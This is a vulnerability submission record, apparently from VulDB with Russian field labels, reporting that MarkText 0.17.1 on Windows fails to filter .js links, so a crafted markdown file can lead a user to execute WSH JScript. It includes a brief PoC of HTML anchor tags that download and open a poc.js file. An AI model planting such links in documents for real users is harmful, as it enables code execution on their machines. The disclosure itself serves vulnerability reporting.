| Название | MarkText on Windows doesn't filter WSH JScript, which may cause code execution |
|---|
| Описание | Although marktext filters most dangeruos suffix, it still retains the .js file which will be recognized as WSH(Windows Script Host) JScript on Windows operating system. Users click on evil markdown file may cause code execution.
Version: 0.17.1(latest)
PoC
Local
<a href="poc.js">Click me to execute JScript</a>
Remote
<a href="http://127.0.0.1:8000/poc.html" download="poc.js">1.Click me to download JScript</a>
<a href="./poc.js">2.Click me to execute JScript</a>
For more details, please click the announcement. |
|---|
| Источник | ⚠️ https://github.com/marktext/marktext/issues/3575 |
|---|
| Пользователь | Tom23 (UID 41413) |
|---|
| Представление | 20.02.2023 13:15 (4 лет назад) |
|---|
| Модерация | 24.02.2023 08:56 (4 days later) |
|---|
| Статус | принято |
|---|
| Запись VulDB | 221737 [MarkText до 0.17.1 на Windows WSH JScript эскалация привилегий] |
|---|
| Баллы | 20 |
|---|